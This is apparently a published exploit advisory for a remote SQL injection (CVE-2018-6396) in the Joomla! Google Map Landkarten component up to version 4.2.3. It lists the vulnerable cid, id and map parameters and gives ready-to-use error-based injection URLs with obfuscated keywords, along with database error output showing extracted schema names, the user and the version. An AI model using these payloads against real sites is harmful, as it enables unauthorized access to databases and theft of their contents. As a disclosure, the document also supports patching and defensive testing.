Joomla! Google Map Landkarten component versions 4.2.3 and below suffer from a remote SQL injection vulnerability.
c3a691c93a796e8821dbb2245eea3250# # # #
# Exploit Title: Joomla! Component Google Map Landkarten <= 4.2.3 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://www.joomla-24.de/
# Software Link: https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/google-map-landkarten/
# Software Download: http://www.joomla-24.de/download/send/9-komponenten/85-google-map-landkarten
# Version: <= 4.2.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6396
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# Exploit Author: Ihsan Sencan
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# POC:
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# 1)
# http://localhost/[PATH]/index.php?option=com_gmap&view=gm_markers&tmpl=component&layout=form_markers&cid=[SQL]&id=1&format=raw
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# 2)
# http://localhost/[PATH]/index.php?option=com_gmap&view=gm_markers&tmpl=component&layout=form_markers&cid=1&id=[SQL]&format=raw
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# 3)
# http://localhost/[PATH]/index.php?option=com_gmap&view=gm_modal&tmpl=component&layout=default&map=[SQL]
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http://localhost/Joomla375/index.php?option=com_gmap&view=gm_modal&tmpl=component&layout=default&map='+/*!08888AND*/+EXTRACTVALUE(66,CONCAT(0x5c,(/*!08888SELECT*/+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),(SELECT+(ELT(4762=4762,1))),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())))--+VerAyari
1105 XPATH syntax error: '\bahistanitim<br>cmslite<br>doct'
http://localhost/Joomla375/index.php?option=com_gmap&view=gm_markers&tmpl=component&layout=form_markers&cid=1' AND (SELECT 6142 FROM(SELECT COUNT(*),CONCAT(0x494853414e2053454e43414e,(SELECT (ELT(6142=6142,1))),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ptYA&id=1&format=raw
1062 Duplicate entry 'IHSAN SENCAN1root@localhost : joomla375 : 10.1.21-MariaDB1' for key 'group_key'
http://localhost/Joomla375/index.php?option=com_gmap&view=gm_markers&tmpl=component&layout=form_markers&cid=1&id=1+AND+EXTRACTVALUE(4855,CONCAT(0x5c,(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),(SELECT+(ELT(4855=4855,1))),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())))&format=raw
1105 XPATH syntax error: '\qpjkq1root@localhost : joomla37'